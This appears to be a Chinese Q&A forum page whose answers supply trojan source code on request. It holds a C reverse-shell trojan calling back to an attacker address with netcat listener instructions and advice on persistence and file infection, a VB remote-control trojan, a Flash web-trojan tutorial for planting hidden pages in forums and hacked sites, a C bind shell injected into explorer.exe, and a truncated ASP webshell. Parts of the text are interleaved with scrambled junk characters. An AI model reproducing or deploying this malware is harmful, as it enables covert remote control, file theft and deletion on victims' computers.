求一个简单木马的源代码。必须注明每个语句的作用。只为交作业。有的百度私信我
//一个简单木马的源代码
#include stdio.h
#include winsock2.h
#pragma comment(lib,"Ws2_32.lib")
void main()
{
WSADATA wsa;
SOCKET corky;
struct sockaddr_in add;
WSAStartup(MAKEWORD(2,2),wsa);//初始化
corky=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);//创建套接字corky
add.sin_family=AF_INET;//填充sockaddr_in结构
add.sin_port=htons(918); //换成你的端口
add.sin_addr.s_addr=inet_addr("127.0.0.1");//换成你的ip地址
connect(corky,(struct sockaddr *)add,sizeof(add)); //连接控制端
STARTUPINFO si; //创建STARTUPINFO结构
ZeroMemory(si,sizeof(si));//为STARTUPINFO结构分配内存
si.cb=sizeof(si);
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;//要使用的标志位
si.wShowWindow=SW_HIDE;//隐藏cmd.exe窗口
si.hStdInput=si.hStdOutput=si.hStdError=(void *)corky;//重定向输入输出到套接字corky
PROCESS_INFORMATION pi;
CreateProcess(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,si,pi);//创建cmd.exe进程
ExitProcess(0);
}
//用nc监听你的918端口(nc -l -p 918)然后耐心等待对方启动木马吧!
//提示:nc在《网友世界》2008 3月光盘中winowsPE系统的外挂程序中可以找到
//如果木马启动你在nc的窗口就会得到一个带微软版权的提示
//输入dir命令看看就会看到对方目录下的所有文件信息(木马所在目录)
//用del命令可以删除他的文件了
//不过还是有缺陷就是对方可以看到有一个cmd窗口笨蛋也知道中招了哈哈..
//到时警察叔叔来找你可别怪我提醒你呦!
//你可以完善它如向系统添加启动项让它随系统启动
//最好是感染文件让它随宿主的打开而启动
//你还要完善窗口的隐藏
//本代码在XP+VC++6.0下调试通过
我想用VB编个木马,谁能给我说说原代码啊
自己试试看,我这里是盗版别人的~~~~呵呵
VB6.0编写“特洛伊木马”程序
“特洛伊木马”有被称为BO, 是在美国一次黑客技术讨论会上由一个黑客组织推出的。它其实是一种客户机/服务器程序,其利用的原理就是:在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。
使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。
在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:
Private Sub cmdConnect_Click()
If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then
MsgBox ("请输入主机名或主机IP地址。")
Exit Sub
Else
If Len(Text1.Text) 0 Then
tcpClient.RemoteHost = Text1.Text
Else
tcpClient.RemoteHost = Text2.Text
End If
End If
tcpClient.Connect
Timer1.Enabled = True
End Sub
连接建立之后就可以使用DataArrival事件处理所收到的数据了。
连接建立之后就可以使用DataArrival事件处理所收到的数据了。
在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:
Private Sub Form_Load()
tcpServer.LocalPort = 1999
tcpServer.Listen
End Sub
准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:
Private Sub tcpServer_ConnectionRequest
(ByVal requestID As Long)
If tcpServer.State sckClosed Then
tcpServer.Close‘检查控件的 State 属性是否为关闭的。
End If ’如果不是,在接受新的连接之前先关闭此连接。
tcpServer.Accept requestID
End Sub
这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。
建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:
Private Sub tcpServer_DataArrival
(ByVal bytesTotal As Long)
Dim strData As String
Dim i As Long
Dim mKey As String
tcpServer.GetData strData
‘接收数据并存入strData
For i = 1 To Len(strData)
‘分离strData中的命令
If Mid(strData, i, 1) = "@" Then
mKey = Left(strData, i - 1)
‘把命令ID号存入mKey
‘把命令参数存入strData
strData = Right(strData, Len(strData) - i)
Exit For
End If
Next i
Select Case Val(mKey)
Case 1
‘驱动器名、目录名、文件名
Case 2
强制关闭服务器端的计算机
Case 3
强制重启服务器端的计算机
Case 4
屏蔽任务栏窗口;
Case 5
屏蔽开始菜单;
Case 6
按照客户机端传过来的文件名或目录名,而删除它;
Case 7
屏蔽热启动键;
Case 8
运行服务器端的任何程序
End Select
End Sub
详细程序略。
客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。
另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:
Private Sub tcpServer_Close()
tcpServer.Close
tcpServer.Listen
End Sub
这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。
这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。
成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用BO程序破坏别人的系统。
木马的编程是什么
一、制作Flash动画木马的准备 _1@2{3|$^'M!A程序开发,操作系统,服务器,源码下载,Linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛 Flash动画木马的原理,是在网页中显示或本地直接播放Flash动画木马时,让Flash自动打开一个网址,而该网址就是我们预先制作好的一个木马网页。也就是说,在制作网页木马前,我们首先需要制作好一个网页木马,并将它放置到某个网站上去。 %H8H7W*B%N,|:^4i+p6U 另外,我们还需要准备一个比较吸引人的Flash动画文件“MM热舞.swf”,以及Flash动画反编译工具“闪客精灵”,编辑工具Macromedia Flash MX。 二、最原始的Flash木马 (X8h4s8G8L"G程序开发,操作系统,服务器,源码下载,Linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛 现在虽然有了许多各种各样的Flash动画木马制作工具,但是为了了解Flash动画木马的最基本原理,有必要从头开始用最原始的方法制作一个Flash木马。 'h'C(U$R'I1L2v"ttech.techweb.com.cn 步骤一:反编译SWF动画-O7c$^,d"hQ7v5W 首先我们需要将要插入网页木马的Flash动画文件“MM热舞.swf”,反编译成可编辑的.fla格式。运行“闪客精灵”,点击菜单“文件”→“快速打开”命令,指定“MM热舞.swf”文件将其导入。然后点击工具栏上的“导出FLA”命令,将动画导出为“MM热舞.fla”文件。 5?-^9_-h)b8F3I,E;m5F 步骤二:插入网页木马代码9t!m*W,{5q%\6j"H!]6n"f 然后运行Flash动画编辑器Macromedia Flash MX,点击菜单“文件”→“打开”,调入刚才保存的fla文件。展开界面下方的“动作/帧”栏,再展开“动作”→“浏览器/网络”项,点击其中的“getURL”命令,在右边窗口中的“URL”里面输入我们的网页木马地址;窗口方式为“_blank”;“变量”设置为“使用GET方式发送”,在下方的代码窗口中将出现“getURL("http://网页木马地址", "_blank", "GET");”。tech.techweb.com.cn ^#o ~4V%{:m5z4E/H b;W 补充: 步骤三:生成Flash木马 -V"L$o(t8H6m9l)rtech.techweb.com.cn 设置完毕后保存文件,并点击菜单“文件”→“发布”命令,将动画重新导出为SWF格式。用IE浏览器打开刚才生成的Flash动画木马,可以看到随着Flash动画打开播放时,自动弹出一个浏览器窗口,里面将会显示我们的木马网页。 接着~~~~~ 三、简简单单生成Flash木马tech.techweb.com.cn*S0m7p#o5A p7S#C6l2zf9e 程序开发,操作系统,服务器,源码下载,Linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛-q"R1h8o8j0Z5c 上面插入木马的过程比较麻烦,下面我们介绍一个简单的方法,也正是这些简单的工具使得Flash木马在网上随处可见。 6V5n8`!I0R/c6~,e程序开发,操作系统,服务器,源码下载,Linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛+z%m3L'k}6M2` 运行SWF木马插入器,点击界面中的“选择”按钮,浏览指定要插入木马的SWF文件;在“插入代码”中输入木马网页的地址;切记不要勾选下面的“只解压”项。设置完毕后,点击“给我插”按钮,程序提示开始插入木马网页。显示成功信息后,关闭程序,用IE打开生成的动画,可以看到自动跳转到木马网页去了。 2v)l8e"^5H9^[#_!l 9{7l#Z+X"J(P @,B 四、Flash木马的利用 9U+p6W;d;D7e+F9Ktech.techweb.com.cn 4W6Z4W1v4V"}4A/D$t._0_7P1o 看到上面的步骤了吧,生成一个Flash动画木马是不是很简单? 那么生成的Flash木马该如何应用呢?只要我们将Flash上传到某个网站中,就可以通过论坛或网站之类的直接利用了。 补充: #Bc)e#c9A%`-w程序开发,操作系统,服务器,源码下载,Linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛+|,K({L#P2n:\6^ 大部分的论坛中都可以发来Flash动画的帖子,利用论坛发帖,攻击者可以快速获得大量的肉鸡。以PHPWind v4.3.2 论坛为例,在发帖或回复时,点击编辑窗口上方的“插入Flash动画”按钮,设置Flash窗口大小,使用默认设置后,要求输入Flash的URL地址。确定后,可以看到编辑窗口中显示的代码为““(flash=400,300)hxxp://www.flash**.com.cn/upfiles/20067**.swf(/flash)””,这就是完整的Flash播放代码了,不同的论坛代码是不一样的。TechWeb-技术社区5h4n8X5]/@'G+`'R'i %`6W'e)~"h 应用二:网页嵌入Flash木马"U3S9Z3v ^ 1q8X!h-V+V0T 攻击者入侵了某个大的网站之后,很可能在网站首页挂马,使用普通方式挂马会被管理员发觉,但是挂上Flash木马的话,是很难查杀的。攻击者可能在网页中插入如下代码:8y1o*@6Ll5k8L i8a9u%A,h5@/w “《EMBED src=http://网页木马地址/木马.swf width=0 height=0 type=application/x-shockwave-flash AUTOSTART="false" ShowStatusBar="false"》”,其中的《》改为。 $B;{)o,j5C,A.H;Z(sTechWeb-技术社区5L/b)o'K,m:s'i1t 这里的参数“width=0 height=0”表示,Flash播放窗口为零,也就是不显示Flash播放窗口。其它用户浏览网页时,就会莫名其妙的弹出一个木马网页窗口。 '^9e#G)n:X-j*T 1f6F#k.zj3G
满意请采纳
木马程序源代码,不是蠕虫,特洛伊那类的是最简单的,有哪位高手可提供下,感激
制造木马病毒代码大全2008-06-08 19:46制造木马病毒代码大全
一个简单的木马原型基础代码添加上自己的XXX,加上变态的壳,做点小修改,就可以.....
#includewinsock2.h
#pragma comment(lib,"ws2_32.lib")
#includewindows.h
#include Shlwapi.h
#pragma comment(lib,"Shlwapi.lib")
#include tlhelp32.h
#include stdio.h
#include string.h
//参数结构 ;
typedef struct _RemotePara
{
DWORD dwLoadLibrary;
DWORD dwFreeLibrary;
DWORD dwGetProcAddress;
DWORD dwGetModuleHandle;
DWORD dwWSAStartup;
DWORD dwSocket;
DWORD dwhtons;
DWORD dwbind;
DWORD dwlisten;
DWORD dwaccept;
DWORD dwsend;
DWORD dwrecv;
DWORD dwclosesocket;
DWORD dwCreateProcessA;
DWORD dwPeekNamedPipe;
DWORD dwWriteFile;
DWORD dwReadFile;
DWORD dwCloseHandle;
DWORD dwCreatePipe;
DWORD dwTerminateProcess;
DWORD dwMessageBox;char strMessageBox[12];
char winsockDll[16];
char cmd[10];
char Buff[4096];
char telnetmsg[60];
}RemotePara; // 提升应用级调试权限
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);
// 根据进程名称得到进程ID
DWORD GetPidByName(char *szName); // 远程线程执行体
DWORD __stdcall ThreadProc(RemotePara *Para)
{
WSADATA WSAData;
WORD nVersion;
SOCKET listenSocket;
SOCKET clientSocket;struct sockaddr_in server_addr;
struct sockaddr_in client_addr;int iAddrSize = sizeof(client_addr);SECURITY_ATTRIBUTES sa;HANDLE hReadPipe1;
HANDLE hWritePipe1;
HANDLE hReadPipe2;
HANDLE hWritePipe2;STARTUPINFO si;
PROCESS_INFORMATION ProcessInformation;
unsigned long lBytesRead = 0;typedef HINSTANCE (__stdcall *PLoadLibrary)(char*);
typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR);
typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE );
typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);FARPROC PMessageBoxA;
FARPROC PWSAStartup;
FARPROC PSocket;
FARPROC Phtons;
FARPROC Pbind;
FARPROC Plisten;
FARPROC Paccept;
FARPROC Psend;
FARPROC Precv;
FARPROC Pclosesocket;
FARPROC PCreateProcessA;
FARPROC PPeekNamedPipe;
FARPROC PWriteFile;
FARPROC PReadFile;
FARPROC PCloseHandle;
FARPROC PCreatePipe;
FARPROC PTerminateProcess;PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para-dwLoadLibrary;
PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para-dwGetProcAddress;
PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para-dwFreeLibrary;
PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para-dwGetModuleHandle;LoadLibraryFunc(Para-winsockDll);PWSAStartup = (FARPROC)Para-dwWSAStartup;
PSocket = (FARPROC)Para-dwSocket;
Phtons = (FARPROC)Para-dwhtons;
Pbind = (FARPROC)Para-dwbind;
Plisten = (FARPROC)Para-dwlisten;
Paccept = (FARPROC)Para-dwaccept;
Psend = (FARPROC)Para-dwsend;
Precv = (FARPROC)Para-dwrecv;
Pclosesocket = (FARPROC)Para-dwclosesocket;
PCreateProcessA = (FARPROC)Para-dwCreateProcessA;
PPeekNamedPipe = (FARPROC)Para-dwPeekNamedPipe;
PWriteFile = (FARPROC)Para-dwWriteFile;
PReadFile = (FARPROC)Para-dwReadFile;
PCloseHandle = (FARPROC)Para-dwCloseHandle;
PCreatePipe = (FARPROC)Para-dwCreatePipe;
PTerminateProcess = (FARPROC)Para-dwTerminateProcess;
PMessageBoxA = (FARPROC)Para-dwMessageBox;nVersion = MAKEWORD(2,1);
PWSAStartup(nVersion, (LPWSADATA)WSAData);
listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);
if(listenSocket == INVALID_SOCKET)return 0;server_addr.sin_family = AF_INET;
server_addr.sin_port = Phtons((unsigned short)(8129));
server_addr.sin_addr.s_addr = INADDR_ANY;if(Pbind(listenSocket, (struct sockaddr *)server_addr, sizeof(SOCKADDR_IN)) != 0)return 0;
if(Plisten(listenSocket, 5))return 0;
clientSocket = Paccept(listenSocket, (struct sockaddr *)client_addr, iAddrSize);
// Psend(clientSocket, Para-telnetmsg, 60, 0);if(!PCreatePipe(hReadPipe1,hWritePipe1,sa,0))return 0;
if(!PCreatePipe(hReadPipe2,hWritePipe2,sa,0))return 0;ZeroMemory(si,sizeof(si)); //ZeroMemory是C运行库函数,可以直接调用
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;if(!PCreateProcessA(NULL,Para-cmd,NULL,NULL,1,0,NULL,NULL,si,ProcessInformation))return 0;
while(1) {
memset(Para-Buff,0,4096);
PPeekNamedPipe(hReadPipe1,Para-Buff,4096,lBytesRead,0,0);
if(lBytesRead) {
if(!PReadFile(hReadPipe1, Para-Buff, lBytesRead, lBytesRead, 0))break;
if(!Psend(clientSocket, Para-Buff, lBytesRead, 0))break;
}else {
lBytesRead=Precv(clientSocket, Para-Buff, 4096, 0);
if(lBytesRead =0 ) break;
if(!PWriteFile(hWritePipe2, Para-Buff, lBytesRead, lBytesRead, 0))break;
}
}PCloseHandle(hWritePipe2);
PCloseHandle(hReadPipe1);
PCloseHandle(hReadPipe2);
PCloseHandle(hWritePipe1);
Pclosesocket(listenSocket);
Pclosesocket(clientSocket);// PMessageBoxA(NULL, Para-strMessageBox, Para-strMessageBox, MB_OK);return 0;
} int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
const DWORD THREADSIZE=1024*4;
DWORD byte_write;
void *pRemoteThread;
HANDLE hToken,hRemoteProcess,hThread;
HINSTANCE hKernel,hUser32,hSock;
RemotePara myRemotePara,*pRemotePara;
DWORD pID;OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,hToken);
EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);// 获得指定进程句柄,并设其权限为PROCESS_ALL_ACCESS
pID = GetPidByName("EXPLORER.EXE");
if(pID == 0)return 0;
hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);
if(!hRemoteProcess)return 0; // 在远程进程地址空间分配虚拟内存
pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(!pRemoteThread)return 0; // 将线程执行体ThreadProc写入远程进程
if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, ThreadProc, THREADSIZE,0))return 0;ZeroMemory(myRemotePara,sizeof(RemotePara));
hKernel = LoadLibrary( "kernel32.dll");
myRemotePara.dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA");
myRemotePara.dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary");
myRemotePara.dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress");
myRemotePara.dwGetModuleHandle = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA");myRemotePara.dwCreateProcessA = (DWORD)GetProcAddress(hKernel, "CreateProcessA");
myRemotePara.dwPeekNamedPipe = (DWORD)GetProcAddress(hKernel, "PeekNamedPipe");
myRemotePara.dwWriteFile = (DWORD)GetProcAddress(hKernel, "WriteFile");
myRemotePara.dwReadFile = (DWORD)GetProcAddress(hKernel, "ReadFile");
myRemotePara.dwCloseHandle = (DWORD)GetProcAddress(hKernel, "CloseHandle");
myRemotePara.dwCreatePipe = (DWORD)GetProcAddress(hKernel, "CreatePipe");
myRemotePara.dwTerminateProcess = (DWORD)GetProcAddress(hKernel, "TerminateProcess");hSock = LoadLibrary("wsock32.dll");
myRemotePara.dwWSAStartup = (DWORD)GetProcAddress(hSock,"WSAStartup");
myRemotePara.dwSocket = (DWORD)GetProcAddress(hSock,"socket");
myRemotePara.dwhtons = (DWORD)GetProcAddress(hSock,"htons");
myRemotePara.dwbind = (DWORD)GetProcAddress(hSock,"bind");
myRemotePara.dwlisten = (DWORD)GetProcAddress(hSock,"listen");
myRemotePara.dwaccept = (DWORD)GetProcAddress(hSock,"accept");
myRemotePara.dwrecv = (DWORD)GetProcAddress(hSock,"recv");
myRemotePara.dwsend = (DWORD)GetProcAddress(hSock,"send");
myRemotePara.dwclosesocket = (DWORD)GetProcAddress(hSock,"closesocket");hUser32 = LoadLibrary("user32.dll");
myRemotePara.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA"); strcat(myRemotePara.strMessageBox,"Sucess!\\0");
strcat(myRemotePara.winsockDll,"wsock32.dll\\0");
strcat(myRemotePara.cmd,"cmd.exe\\0");
strcat(myRemotePara.telnetmsg,"Connect Sucessful!\\n\\0"); //写进目标进程
pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);
if(!pRemotePara)return 0;
if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,myRemotePara,sizeof myRemotePara,0))return 0; // 启动线程
hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,byte_write);
while(1) {}
FreeLibrary(hKernel);
FreeLibrary(hSock);
FreeLibrary(hUser32);
CloseHandle(hRemoteProcess);
CloseHandle(hToken);return 0;
} BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL,szPrivName,tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;
AdjustTokenPrivileges(hToken,FALSE,tp,sizeof(tp),NULL,NULL);
return((GetLastError() == ERROR_SUCCESS));
}DWORD GetPidByName(char *szName)
{
HANDLE hProcessSnap = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe32={0};
DWORD dwRet=0;hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)return 0;pe32.dwSize = sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap, pe32))
{
do
{
if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0)
{
dwRet=pe32.th32ProcessID;
break;
}
}while (Process32Next(hProcessSnap,pe32));
}
else return 0;if(hProcessSnap !=INVALID_HANDLE_VALUE)CloseHandle(hProcessSnap);
return dwRet;
木马程序源码
一个asp木马:
<%@ LANGUAGE = VBScript.Encode codepage ="936" %>
<%Server.ScriptTimeOut=5000%>
<object runat=server id=oScript scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat=server id=oScriptNet scope=page classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object>
<object runat=server id=oFileSys scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%
'on error resume next
dim Data_5xsoft
Class upload_5xsoft
dim objForm,objFile,Version
Public function Form(strForm)
strForm=lcase(strForm)
if not objForm.exists(strForm) then
Form=""
else
Form=objForm(strForm)
end if
end function
Public function File(strFile)
strFile=lcase(strFile)
if not objFile.exists(strFile) then
set File=new FileInfo
else
set File=objFile(strFile)
end if
end function
Private Sub Class_Initialize
dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile
dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
dim iFindStart,iFindEnd
dim iFormStart,iFormEnd,sFormName
Version="HTTP上传程序 Version 2.0"
set objForm=Server.CreateObject("Scripting.Dictionary")
set objFile=Server.CreateObject("Scripting.Dictionary")
if Request.TotalBytes<1 then Exit Sub
set tStream = Server.CreateObject("adodb.stream")
set Data_5xsoft = Server.CreateObject("adodb.stream")
Data_5xsoft.Type = 1
Data_5xsoft.Mode =3
Data_5xsoft.Open
Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes)
Data_5xsoft.Position=0
RequestData =Data_5xsoft.Read
iFormStart = 1
iFormEnd = LenB(RequestData)
vbCrlf = chrB(13) chrB(10)
sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)
iStart = LenB (sStart)
iFormStart=iFormStart+iStart+1
while (iFormStart + 10) < iFormEnd
iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf vbCrlf)+3
tStream.Type = 1
tStream.Mode =3
tStream.Open
Data_5xsoft.Position = iFormStart
Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sInfo = tStream.ReadText
tStream.Close
iFormStart = InStrB(iInfoEnd,RequestData,sStart)
iFindStart = InStr(22,sInfo,"name=""",1)+6
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))
if InStr (45,sInfo,"filename=""",1) > 0 then
set theFile=new FileInfo
iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileName=getFileName(sFileName)
theFile.FilePath=getFilePath(sFileName)
iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14
iFindEnd = InStr(iFindStart,sInfo,vbCr)
theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileStart =iInfoEnd
theFile.FileSize = iFormStart -iInfoEnd -3
theFile.FormName=sFormName
if not objFile.Exists(sFormName) then
objFile.add sFormName,theFile
end if
else
tStream.Type =1
tStream.Mode =3
tStream.Open
Data_5xsoft.Position = iInfoEnd
Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sFormValue = tStream.ReadText
tStream.Close
if objForm.Exists(sFormName) then
objForm(sFormName)=objForm(sFormName)", "sFormValue
else
objForm.Add sFormName,sFormValue
end if
end if
iFormStart=iFormStart+iStart+1
wend
RequestData=""
set tStream =nothing
End Sub
Private Sub Class_Terminate
if Request.TotalBytes>0 then
objForm.RemoveAll
objFile.RemoveAll
set objForm=nothing
set objFile=nothing
Data_5xsoft.Close
set Data_5xsoft =nothing
end if
End Sub
Private function GetFilePath(FullPath)
If FullPath <> "" Then
GetFilePath = left(FullPath,InStrRev(FullPath, "\"))
Else
GetFilePath = ""
End If
End function
Private function GetFileName(FullPath)
If FullPath <> "" Then
GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
Else
GetFileName = ""
End If
End function
End Class
Class FileInfo
dim FormName,FileName,FilePath,FileSize,FileType,FileStart
Private Sub Class_Initialize
FileName = ""
FilePath = ""
FileSize = 0
FileStart= 0
FormName = ""
FileType = ""
End Sub
Public function SaveAs(FullPath)
dim dr,ErrorChar,i
SaveAs=true
if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function
set dr=CreateObject("Adodb.Stream")
dr.Mode=3
dr.Type=1
dr.Open
Data_5xsoft.position=FileStart
Data_5xsoft.copyto dr,FileSize
dr.SaveToFile FullPath,2
dr.Close
set dr=nothing
SaveAs=false
end function
End Class
httpt = Request.ServerVariables("server_name")
rseb=Request.ServerVariables("SCRIPT_NAME")
q=request("q")
if q="" then q=rseb
select case q
case rseb
if Epass(trim(request.form("password")))="q_ux888556" then
response.cookies("password")="7758521"
response.redirect rseb "?q=list.asp"
else %>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title><%=httpt%></title>
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">
</head>
<body>
<%if request.form("password")<>"" then
response.write "Password Error!"
end if
%>
<table border="1" width="100%" height="89" bgcolor="#DFDFFF" cellpadding="3"
bordercolorlight="#000000" bordercolordark="#F2F2F9" cellspacing="0">
<tr>
<td width="100%" height="31" bgcolor="#000080"><p align="center"><font color="#FFFFFF"><%=httpt%></font></td>
</tr>
<tr>
<td width="100%" height="46"><form method="POST" action="<%=rseb%>?q=<%=rseb%>">
<div align="center"><center><p>Enter Password:<input type="password" name="password"
size="20"
style="border-left: thin none; border-right: thin none; border-top: thin outset; border-bottom: thin outset">
<input type="submit" value="OK!LOGIN" name="B1"
style="font-size: 9pt; border: thin outset"></p>
</center></div>
</form>
</td>
</tr>
</table>
</body>
</html>
<%end if%>
<%case "down.asp"
call downloadFile(request("path"))
function downloadFile(strFile)
strFilename = strFile
Response.Buffer = True
Response.Clear
set s = Server.CreateObject("adodb.stream")
s.Open
s.Type = 1
if not oFileSys.FileExists(strFilename) then
Response.Write("<h1>Error:</h1>" strFilename " does not exist<p>")
Response.End
end if
Set f = oFileSys.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename)
if err then
Response.Write("<h1>Error: </h1>" err.Description "<p>")
Response.End
end if
Response.AddHeader "Content-Disposition", "attachment; filename=" f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite s.Read
Response.Flush
s.Close
Set s = Nothing
response.end
End Function
%>
<%case "list.asp"%>
<%
urlpath=server.urlencode(path)
if Request.Cookies("password")="7758521" then
dim cpath,lpath
if Request("path")="" then
lpath="/"
else
lpath=Request("path")"/"
end if
if Request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=Server.MapPath(lpath)
attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"<a href='" rseb "?q=list.asppath="Request("oldpath")"attrib="attrib"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上级目录</font></a><br><script language=vbscript>"
For Each x In theSubFolders
%>so "<%=lpath%>","<%=x.Name%>","<%=request("path")%>","<%=attrib%>"
<%
Next
%></script><%
end if
End Sub
Sub GetFile()
dim theFiles
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write"<table border='0' width='100%' cellpadding='0'><script language=vbscript>"
For Each x In theFiles
if Request("attrib")="true" then
showstring=x.Name
else
showstring=x.Name
end if
%>sf "<%=showstring%>","<%=x.size%>","<%=x.type%>","<%=x.Attributes%>","<%=x.DateLastModified%>","<%=lpath%>","<%=x.name%>","<%=attrib%>","<%=x.name%>"
<%
Next
end if
Response.write"</script></table>"
End Sub
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title><%=httpt%></title>
<style type="text/css">
<!--
table{ font-family: 宋体; font-size: 9pt }
